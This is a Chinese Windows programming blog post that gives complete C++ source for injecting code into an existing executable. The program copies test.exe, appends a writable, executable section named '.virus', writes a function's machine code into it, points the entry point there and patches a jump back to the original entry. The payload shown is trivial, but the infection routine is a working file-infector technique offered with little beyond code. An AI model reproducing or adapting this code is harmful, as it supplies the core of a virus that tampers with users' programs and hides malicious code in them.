• 基于visual c++之windows核心编程代码分析(64)现有的exe文件中添加自己的代码


    我们进行信息安全编程的时候,经常需要向exe文件插入自己的源代码,

    我们如何在代码中实现呢。请见代码与注释讲解

    #include <iostream.h>
    #include <windows.h>
    #include <stdio.h>
    
    //////////////////////////////////////////////////////////////////////////
    //*******************************************************************
    //*******以下为程序代码*******
    //*******************************************************************
    //////////////////////////////////////////////////////////////////////////
    void VirusCode()
    {
    	_asm 
    	{
    		mov eax , 5
    	}
    
    	return;
    }
    
    
    
    //////////////////////////////////////////////////////////////////////////
    //*******************************************************************
    //*******主函数*******
    //*******************************************************************
    //////////////////////////////////////////////////////////////////////////
    void main()
    {
    //*******************************************************************
    //*******首先得到程序代码起始地址,结束地址,代码长度*******
    //*******************************************************************
    	/////////////////////////////////////////////////////////////////
    	//	*******变量说明*******
    	//	**dwFunBegAddr	:程序函数的开始地址
    	//	**dwFunEndAddr	:程序函数的结束地址
    	//	**dwFunCodeLen	:程序代码长度
    	//	**dwJmpOff		:程序函数jmp区到真正入口的偏移
    	//	**pMove			:临时的指针变量
    	/////////////////////////////////////////////////////////////////
    	DWORD dwFunBegAddr , dwJmpOff , dwFunEndAddr , dwFunCodeLen;
    	PBYTE pMove = NULL;
    	
    	//	*******首先指向程序函数的jmp指令*******
    	pMove = (PBYTE)VirusCode;
    	
    	cout << "函数的jmp地址为:" << (PVOID)pMove << endl;
    	//	*******定位到jmp后面的偏移处*******
    	pMove ++;
    
    	//	*******把偏移赋值给变量*******
    	dwJmpOff = *((PDWORD)pMove);
    
    	//	*******jmp下一条指令的地址(code + 5)+偏移得到函数真正的入口地址*******
    	dwFunBegAddr = (DWORD)VirusCode + 5 + dwJmpOff;
    
    	cout << "函数jmp的跳转偏移为:" <<(PVOID)dwJmpOff << endl;
    	cout << "开始地址为:" << (PVOID)dwFunBegAddr << endl;
    	
    	//	*******以下通过搜索得到函数的结束地址*******
    	//	*******首先把函数的入口地址赋给变量*******
    	pMove = (PBYTE)dwFunBegAddr;
    
    	//	*******向后搜索,直到结尾*******
    	while (!((*(pMove + 1) == 0xc3) && (*pMove == 0x5D) && (*(pMove - 1) == 0xE5)))
    	{
    		pMove ++;
    	}
    
    	//	*******此时pMove指向ret前一条指令*******
    	//	*******pMove向后移5个字节,为程序代码的jmp指令占位*******
    	pMove +=5;
    	dwFunEndAddr = (DWORD)pMove;
    
    
    	cout << "代码结束地址为:" << (PVOID)dwFunEndAddr << endl;
    
    	//	*******结束地址减去起始地址,得到代码长度*******
    	dwFunCodeLen = dwFunEndAddr - dwFunBegAddr;
    
    	cout << "总代码长度为:" << (int)dwFunCodeLen << endl;
    
    //*******************************************************************
    //*******以下为在exe文件中添加程序代码*******
    //*******************************************************************
    	HANDLE hFile , hMapFile;
    	LPVOID pMapOfFile = NULL;
    	
    //*******************************************************************
    //*******检测文件合法性*******
    //*******************************************************************
    	//	*******打开文件*******
    	hFile = CreateFile("test.exe" , GENERIC_READ , FILE_SHARE_READ | 
    			FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL);
    
    	if (INVALID_HANDLE_VALUE == hFile)
    	{
    		cout << "CreateFile Error!" << endl;
    		return;
    	}
    
    	//	*******创建文件映射*******
    	hMapFile = CreateFileMapping(hFile , NULL , PAGE_READONLY , 0 , 0 , NULL);
    
    	if (!hMapFile)
    	{
    		cout << "CreateFileMapping Error!" << endl;
    		goto CLOSEFILEHANDLE;
    	}
    
    	//	*******把文件映射到内存中*******
    	pMapOfFile = MapViewOfFile(hMapFile , FILE_MAP_READ , 0 , 0 , 0);
    
    	if (!pMapOfFile)
    	{
    		cout << "MapViewOfFile Error!" << endl;
    		goto CLOSEMAPHANDLE;
    	}
    
    	IMAGE_DOS_HEADER *pDosHeader;
    
    	//	********检测DOS文件头*******
    	pDosHeader = ( IMAGE_DOS_HEADER* )pMapOfFile;
    
    	if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
    	{
    		cout << "Check Dos Header Error!" << endl;
    		goto FreeViewOfMap;
    	}
    
    	IMAGE_NT_HEADERS *pNtHeader;
    
    	//	*******检测NT文件头*******
    	pNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pDosHeader + pDosHeader->e_lfanew);
    
    	if (pNtHeader->Signature != IMAGE_NT_SIGNATURE)
    	{
    		cout << "Check NT Header Error!" << endl;
    		goto FreeViewOfMap;
    	}
    //***************************************************************
    //*******准备工作*******
    //***************************************************************
    	BOOL bCopy;
    
    	//	*******首先把要添加程序代码的文件复制一份*******
    	bCopy = CopyFile("test.exe" , "test_virus.exe" , FALSE);
    	if (!bCopy)
    	{
    		cout << "CopyFile Error!" << endl;
    	}
    
    	HANDLE hNewFile;
    
    	//	*******打开刚刚复制的文件*******
    	hNewFile = CreateFile("test_virus.exe" , GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ 
    				| FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL);
    
    	if (!hNewFile)
    	{
    		cout << "CreateFile Error!" << endl;
    		goto FreeViewOfMap;
    	}
    
    	HGLOBAL pNewFileHeader;
    
    	//	*******为新文件的文件头申请一块内存,用于修改文件头信息*******
    	pNewFileHeader = GlobalAlloc(GPTR , pNtHeader->OptionalHeader.SizeOfHeaders);
    
    	if (!pNewFileHeader)
    	{
    		cout << "GlobalAlloc Error!" << endl;
    		goto CloseNewFileHandle;
    	}
    
    	//	*******用原文件头填充这块内存*******
    	RtlMoveMemory((PVOID)pNewFileHeader , (PVOID)pMapOfFile , pNtHeader->OptionalHeader.SizeOfHeaders);
    
    	IMAGE_NT_HEADERS *pNewFileNtHeader;
    
    	pNewFileNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pNewFileHeader + pDosHeader->e_lfanew);
    
    //////////////////////////////////////////////////////////////////////////
    //*******此时的指针信息*******
    //*******pMapOfFile			:	原映射文件的开始
    //*******pDosHeader			:	原映射文件的DOS头也就是文件开始,只不过类型不一样
    //*******pNTHeader			:	原映射文件的NT头
    //*******pNewFileHeader		:	新文件的开始
    //*******pNewFileNtHeader	:	新文件的NT头
    //////////////////////////////////////////////////////////////////////////
    //****************************************************************
    //*******修改新文件的节表信息*******
    //****************************************************************
    	int nSecNum;
    	nSecNum = pNtHeader->FileHeader.NumberOfSections;
    	IMAGE_SECTION_HEADER *pLastSec , *pNewSec;
    
    	//	*******定位到原文件中的最后一个节表*******
    	pLastSec = (IMAGE_SECTION_HEADER*)((PBYTE)pNewFileNtHeader + sizeof(IMAGE_NT_HEADERS)
    				+ (nSecNum-1) * sizeof(IMAGE_SECTION_HEADER));
    
    	//	*******pNewSec为最后一个节表的结尾处,也就是新加节表的开头*******
    	pNewSec = pLastSec + 1;
    
    	//*******修改新增节表的相关信息*******
    	//*****节表总数加1*****
    	pNewFileNtHeader->FileHeader.NumberOfSections ++;
    
    	//*****修改新节的文件偏移*****
    	pNewSec->PointerToRawData = pLastSec->PointerToRawData + pLastSec->SizeOfRawData;
    
    	//*****修改新节的文件尺寸*****
    	int nAlignNum;
    
    	nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.FileAlignment;
    	if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.FileAlignment != 0)
    	{
    		nAlignNum++;
    	}
    	pNewSec->SizeOfRawData = nAlignNum * pNewFileNtHeader->OptionalHeader.FileAlignment;
    
    	//*****修改所有代码长度按内存页对齐后的大小*****
    	nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.SectionAlignment;
    	if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0)
    	{
    		nAlignNum ++;
    	}
    	pNewFileNtHeader->OptionalHeader.SizeOfCode += nAlignNum * 
    						pNewFileNtHeader->OptionalHeader.SectionAlignment;
    
    	//*****修改文件内存映像尺寸*****
    	pNewFileNtHeader->OptionalHeader.SizeOfImage += nAlignNum * 
    						pNewFileNtHeader->OptionalHeader.SectionAlignment;
    
    	//*****修改新节的内存偏移量*****
    	//*****用原最后节的内存偏移加上原最后节对齐后的内存尺寸的大小*****
    	nAlignNum = pLastSec->Misc.VirtualSize / 
    				pNewFileNtHeader->OptionalHeader.SectionAlignment;
    	if (pLastSec->Misc.VirtualSize % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0)
    	{
    		nAlignNum ++;
    	}
    	pNewSec->VirtualAddress = nAlignNum * pNewFileNtHeader->OptionalHeader.SectionAlignment +
    								pLastSec->VirtualAddress;
    
    	//*****修改新节的内存尺寸*****
    	pNewSec->Misc.VirtualSize = dwFunCodeLen;
    
    	//*****更新新节属性*****
    	pNewSec->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | 
    					IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;
    
    	//*****更新节名*****
    	strcpy((char*)pNewSec->Name , ".virus");
    
    	//*****更新入口地址*****
    
    	pNewFileNtHeader->OptionalHeader.AddressOfEntryPoint = pNewSec->VirtualAddress;
    
    	BOOL bWrite;
    	DWORD dwHeaderSize , dwWriten;
    	dwHeaderSize = (DWORD)(pNewFileNtHeader->OptionalHeader.SizeOfHeaders);
    	bWrite = WriteFile(hNewFile , (LPVOID)pNewFileHeader , dwHeaderSize , &dwWriten , NULL);
    
    	//*****向文件中添加程序代码*****
    	DWORD dwSetFileP;
    
    	//*****定位到新文件中新节开始处*****
    	dwSetFileP = SetFilePointer(hNewFile , pNewSec->PointerToRawData , NULL , FILE_BEGIN);
    	if (!dwSetFileP)
    	{
    		cout << "SetFilePointer Error!" << endl;
    		goto CloseNewFileHandle;
    	}
    
    	//*****写入程序代码*****
    	bWrite = WriteFile(hNewFile , (LPVOID)dwFunBegAddr , dwFunCodeLen , &dwWriten , NULL);
    	if (!bWrite)
    	{
    		cout << "Write Virus Code Error!" << endl;
    		goto CloseNewFileHandle;
    	}
    
    	//*****定位到文件尾部*****
    	dwSetFileP = SetFilePointer(hNewFile , pNewSec->PointerToRawData + 
    					pNewSec->SizeOfRawData , NULL , FILE_BEGIN);
    	if (!dwSetFileP)
    	{
    		cout << "SetFilePointer End Error!" << endl;
    		goto CloseNewFileHandle;
    	}
    
    	//*****设定文件结束*****
    	if (!SetEndOfFile(hNewFile))
    	{
    		cout << "SetEndOfFile Error!" << endl;
    		goto CloseNewFileHandle;
    	}
    
    	//*******修正原入口地址*******
    	PBYTE pModifyAddr;
    	pModifyAddr = (PBYTE)pNewSec->VirtualAddress;
    
    	pModifyAddr	+= dwFunCodeLen;
    	//printf("%x\n" , pModifyAddr);
    
    	int nSub;    //跳转的距离
    	nSub = (PBYTE)(pNtHeader->OptionalHeader.AddressOfEntryPoint) - pModifyAddr;
    
    	DWORD dwModifyLoca;
    	dwModifyLoca = pNewSec->PointerToRawData;
    	dwModifyLoca = dwModifyLoca + dwFunCodeLen - 5;
    	//dwModifyLoca ++;
    
    	//	*****定位到程序代码最后的五个字节处*****
    	dwSetFileP = SetFilePointer(hNewFile , dwModifyLoca , NULL , FILE_BEGIN);
    	if (!dwSetFileP)
    	{
    		cout << "Modify Address SetFilePointer Error!" << endl;
    		goto CloseNewFileHandle;
    	}
    	//*****修正jmp指令*****
    	BYTE bJmp;
    	bJmp = 0XE9;
    	bWrite = WriteFile(hNewFile , &bJmp , 1 , &dwWriten , NULL);
    	if (!bWrite)
    	{
    		cout << "Modify Address WriteFile Error!" << endl;
    		goto CloseNewFileHandle;
    	}
    	//*****修正跳转地址*****
    	bWrite = WriteFile(hNewFile , &nSub , 4 , &dwWriten , NULL);
    	if (!bWrite)
    	{
    		cout << "Modify Address WriteFile Error!" << endl;
    		goto CloseNewFileHandle;
    	}
    
    
    //****************************************************************
    //*******扫尾工作*******
    //****************************************************************
    CloseNewFileHandle:
    	CloseHandle(hNewFile);
    FreeViewOfMap:
    	UnmapViewOfFile(pMapOfFile);
    CLOSEMAPHANDLE:
    	CloseHandle(hMapFile);
    CLOSEFILEHANDLE:
    	CloseHandle(hFile);
    }


     

  • 相关阅读:
    2018-2019-2 20165316 《网络对抗技术》 Exp6 信息搜集与漏洞扫描
    2018-2019-2 网络对抗技术 20165316 Exp5 MSF基础应用
    2018-2019-2 网络对抗技术 20165316 Exp4 恶意代码分析
    2018-2019-2 20165316 『网络对抗技术』Exp3:免杀原理与实践
    2018-2019-2 《网络对抗技术》Exp2 后门原理与实践
    2018-2019-2 20165316 《网络对抗技术》Exp1 PC平台逆向破解
    2018-2019-2 《网络对抗技术》Exp0 Kali安装 Week1 20165316
    最近决定要重新回到博客了
    清华大学OS操作系统实验lab1练习知识点汇总
    基本数据结构学习总结: 二叉树的遍历
  • 原文地址:https://www.cnblogs.com/new0801/p/6177761.html
Copyright © 2020-2023  润新知